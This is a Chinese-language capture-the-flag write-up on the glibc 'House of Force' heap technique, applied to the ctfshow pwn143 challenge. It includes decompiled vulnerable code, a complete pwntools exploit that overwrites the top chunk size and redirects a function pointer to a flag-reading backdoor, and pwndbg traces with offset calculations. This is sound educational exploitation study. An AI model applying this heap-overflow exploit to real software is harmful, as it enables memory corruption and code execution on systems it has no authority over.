house of force

house of force

原理:

  1. 核心目标: 将 Top Chunk 移动到任意可控地址,从而允许后续从该地址分配“堆块”,实现对该地址及其之后内存的任意读写。
  2. 攻击原理: 利用 malloc 在从 Top Chunk 分配内存时,仅根据用户请求的大小 nb 和当前 Top Chunk 的大小 top_size 来更新 Top Chunk 位置的机制(new_top = old_top + nb)。通过篡改 Top Chunk 的 size 字段为一个极大值(通常是 -1,即 0xFFFFFFFFFFFFFFFF),并精心构造一个超大的 nb,使得计算出的 new_top 指向攻击者期望的目标地址。
  3. 使用前提:
    1. 堆块大小控制自由: 攻击者能够申请任意大小的堆块(malloc(nb) 中的 nb 可以非常大)。
    2. Top Chunk Size 篡改: 存在漏洞(通常是堆溢出)允许攻击者覆盖 Top Chunk 的 size 字段,将其修改为一个极大的值(例如 0xFFFFFFFFFFFFFFFF)。
    3. 地址信息已知(通常需要):攻击者需要知道:
      • 当前 Top Chunk 的地址 (old_top):用于计算所需的偏移量。
      • 目标地址 (target_addr): 希望将 Top Chunk 移动到的地址。
    4. 特殊情况 - 仅需偏移量: 如果目标地址 (target_addr) 本身位于堆内存区域内(例如,想要覆盖堆上的某个特定结构体或指针),那么攻击者不一定需要知道 old_toptarget_addr 的绝对地址。只需要知道它们之间的偏移量 (offset = target_addr - old_top) 即可。这在某些堆布局已知或可控的场景下是可行的。

例题:

ctfshow pwn143

edit()存在漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
unsigned __int64 edit()
{
int v1; // [rsp+Ch] [rbp-24h]
int v2; // [rsp+10h] [rbp-20h]
char buf[8]; // [rsp+18h] [rbp-18h] BYREF
char nptr[8]; // [rsp+20h] [rbp-10h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]

v5 = __readfsqword(0x28u);
if ( num )
{
printf("Please enter the index:");
read(0, buf, 8uLL);
v1 = atoi(buf);
if ( *((_QWORD *)&unk_6020A8 + 2 * v1) )
{
printf("Please enter the length of name:");
read(0, nptr, 8uLL);
v2 = atoi(nptr);
printf("Please enter the new name:");
*(_BYTE *)(*((_QWORD *)&unk_6020A8 + 2 * v1) + (int)read(0, *((void **)&unk_6020A8 + 2 * v1), v2)) = 0;
}
else
{
puts("Invaild index");
}
}
else
{
puts("Nothing here~");
}
return __readfsqword(0x28u) ^ v5;
}

这个edit函数没有检查输入长度的大小,完全由自己决定,存在堆溢出。

1
2
3
4
5
6
7
8
9
10
11
12
13
void __noreturn fffffffffffffffffffffffffffffffffflag()
{
int fd; // [rsp+Ch] [rbp-74h]
char buf[104]; // [rsp+10h] [rbp-70h] BYREF
unsigned __int64 v2; // [rsp+78h] [rbp-8h]

v2 = __readfsqword(0x28u);
fd = open("/flag", 0);
read(fd, buf, 0x64uLL);
close(fd);
printf("%s", buf);
exit(0);
}

存在后门函数。

所以我利用堆溢出,把top_chunk的size改成极大值,再把v4[1]的地址换成后门函数的地址就可以得到flag了,(为什么是v4[1]呢,因为

执行edit前都会执行v4[1],把v4[1]的地址换成后门函数的地址,就可以执行后门函数了)。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *

# 设置运行环境
context(arch='amd64', os='linux', log_level='debug')

# 三种连接方式,按需启用
p = remote('pwn.challenge.ctf.show', 28219) # 远程连接
#p = process('./pwn') # 本地运行
# p = gdb.debug('./pwn', 'b main') # GDB调试

# 加载二进制文件
elf = ELF('./pwn')
# 获取flag符号的地址(目标覆盖地址)
flag_addr = elf.sym['fffffffffffffffffffffffffffffffffflag']

def menu(index):
p.sendlineafter('Your choice:', str(index))

def add(length, content):
menu(2)
p.sendlineafter('Please enter the length:', str(length))
p.sendlineafter('Please enter the name:', content)

def edit(index, length, content):
menu(3)
p.sendlineafter('Please enter the index:', str(index))
p.sendlineafter('Please enter the length of name:', str(length))
p.sendlineafter('Please enter the new name:', content)

def delete(index):
menu(4)
p.sendlineafter('Please enter the index:', str(index))

def exit_prog():
menu(5)

# ===== 漏洞利用流程 =====

# 1. 创建初始chunk
add(0x30, 'chunk0') # 分配0x40大小的chunk(含头部)

# 2. 修改top chunk大小
# 覆盖top chunk的size字段为极大值(0xFFFFFFFFFFFFFFFF)
# 布局: [chunk0数据(0x30)] + [填充(0x8)] + [size字段(0x8)]
payload = b'A'*0x38 + p64(0xffffffffffffffff)
edit(0, len(payload), payload)

# 3. 计算负偏移实现指针回退
# 偏移计算: flag_addr - (top_chunk_addr + 0x10)
# 实际计算: -(0x60 + 0x8 + 0xf) = -0x77 (需根据实际调试调整)
offset = -(0x60 + 0x8 + 0xf)
add(offset, 'trigger') # 申请负大小chunk触发整数溢出

# 4. 在目标地址分配chunk
# 此时top chunk指针已回退到flag_addr附近
# 分配0x10大小的chunk,其数据区将位于flag_addr处
add(0x10, p64(flag_addr)*2) # 用flag地址覆盖目标内存

# 5. 触发flag读取
exit_prog() # 退出程序(可能触发flag输出)

# 获取交互控制权
p.interactive()

再动调中更容易理解

add(0x30, ‘chunk0’)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x91fd000
Size: 0x290 (with flag bits: 0x291)

Allocated chunk | PREV_INUSE
Addr: 0x91fd290
Size: 0x20 (with flag bits: 0x21) //v4

Allocated chunk | PREV_INUSE
Addr: 0x91fd2b0
Size: 0x40 (with flag bits: 0x41) //add(0x30, 'chunk0')

Top chunk | PREV_INUSE
Addr: 0x91fd2f0
Size: 0x20d10 (with flag bits: 0x20d11)
1
2
3
4
5
pwndbg> x/30gx 0x91fd290
0x91fd290: 0x0000000000000000 0x0000000000000021
0x91fd2a0: 0x0000000000400857 0x0000000000400876
0x91fd2b0: 0x0000000000000000 0x0000000000000041
0x91fd2c0: 0x000a306b6e75686 0x0000000000000000 //chunk0
1
2
3
4
5
6
7
8
9
pwndbg> telescope 0x0400857
00:0000│ 0x400857 (hello_message) ◂— push rbp //hello_message起始地址
01:0008│ 0x40085f (hello_message+8) ◂— or byte ptr [rax], al
02:0010│ 0x400867 (hello_message+16) ◂— lea rdi, [rip + 0x823]
03:0018│ 0x40086f (hello_message+24) ◂— pop rbp
04:0020│ 0x400877 (goodbye_message+1) ◂— mov rbp, rsp
05:0028│ 0x40087f (goodbye_message+9) ◂— add byte ptr [rax], al
06:0030│ 0x400887 (goodbye_message+17) ◂— pop rbp
07:0038│ 0x40088f (menu+6) ◂— cmp eax, 0x82d
1
2
3
4
5
6
7
8
9
pwndbg> telescope 0x400876
00:0000│ 0x400876 (goodbye_message) ◂— push rbp //goodbye_message起始地址
01:0008│ 0x40087e (goodbye_message+8) ◂— or byte ptr [rax], al
02:0010│ 0x400886 (goodbye_message+16) ◂— nop
03:0018│ 0x40088e (menu+5) ◂— lea edi, [rip + 0x82d]
04:0020│ 0x400896 (menu+13) ◂— 0x83e3d8d48fffffe
05:0028│ 0x40089e (menu+21) ◂— add byte ptr [rax], al
06:0030│ 0x4008a6 (menu+29) ◂— lea edi, [rip + 0x815]
07:0038│ 0x4008ae (menu+37) ◂— 0x8433d8d48fffffe

edit(0, len(payload), payload)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x91fd000
Size: 0x290 (with flag bits: 0x291)

Allocated chunk | PREV_INUSE
Addr: 0x91fd290
Size: 0x20 (with flag bits: 0x21)

Allocated chunk | PREV_INUSE
Addr: 0x91fd2b0
Size: 0x40 (with flag bits: 0x41)

Top chunk | PREV_INUSE | IS_MMAPED | NON_MAIN_ARENA
Addr: 0x91fd2f0
Size: 0xfffffffffffffff8 (with flag bits: 0xffffffffffffffff) //top_chunk的size改变了

由于我的libc版本较高,检查到堆溢出可能就崩掉了就无法继续了。远程可以打通

这里我就接着解释一些数据怎么来的

1
2
3
4
0x30:这个没什么要求换成其他数据也可以
0x38: 0x91fd2f0 - 0x91fd2b0 = 0x40,0x40 - 0x16(chunk0的header) + 0x08(top的pre_size) = 0x30
-(0x60 + 0x8 + 0xf):0x91fd2f0 - 0x91fd290 = 0x60,top和v4的header的距离 ,0x8 + 0xf和强制对齐有关
0x10:v4[0]和v4[1]正好0x10,换成比0x10大的数据都可以

强制对齐操作的公式是

1
nb = ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK
  • **req**:用户调用 malloc(req) 时申请的数据大小(即用户需要的内存字节数)。

  • **SIZE_SZ**:在 64 位系统中为 0x8(表示 sizeof(size_t))。它常被理解为 chunk 头部(header)大小的一部分,但实际上,header 总大小为 2 * SIZE_SZ = 0x10 字节(包括 prev_sizesize 字段)。

  • **MALLOC_ALIGN_MASK**:在 64 位系统中为 0xf(十六进制),对应内存对齐掩码。内存对齐要求通常是 16 字节(即 MALLOC_ALIGN = 16),所以掩码为 16 - 1 = 15(即 0xf)。

  • **nb**:输出的值,表示实际分配的 chunk 总大小(包括 header 和用户数据区域)。

  • offset = -0x77 对应 malloc 参数为 0xffffffffffffff89

  • 对齐后实际分配大小:(0xffffffffffffff89 + 8 + 15) & ~15 = 0xffffffffffffffa0

  • 使top chunk回退 0x60 字节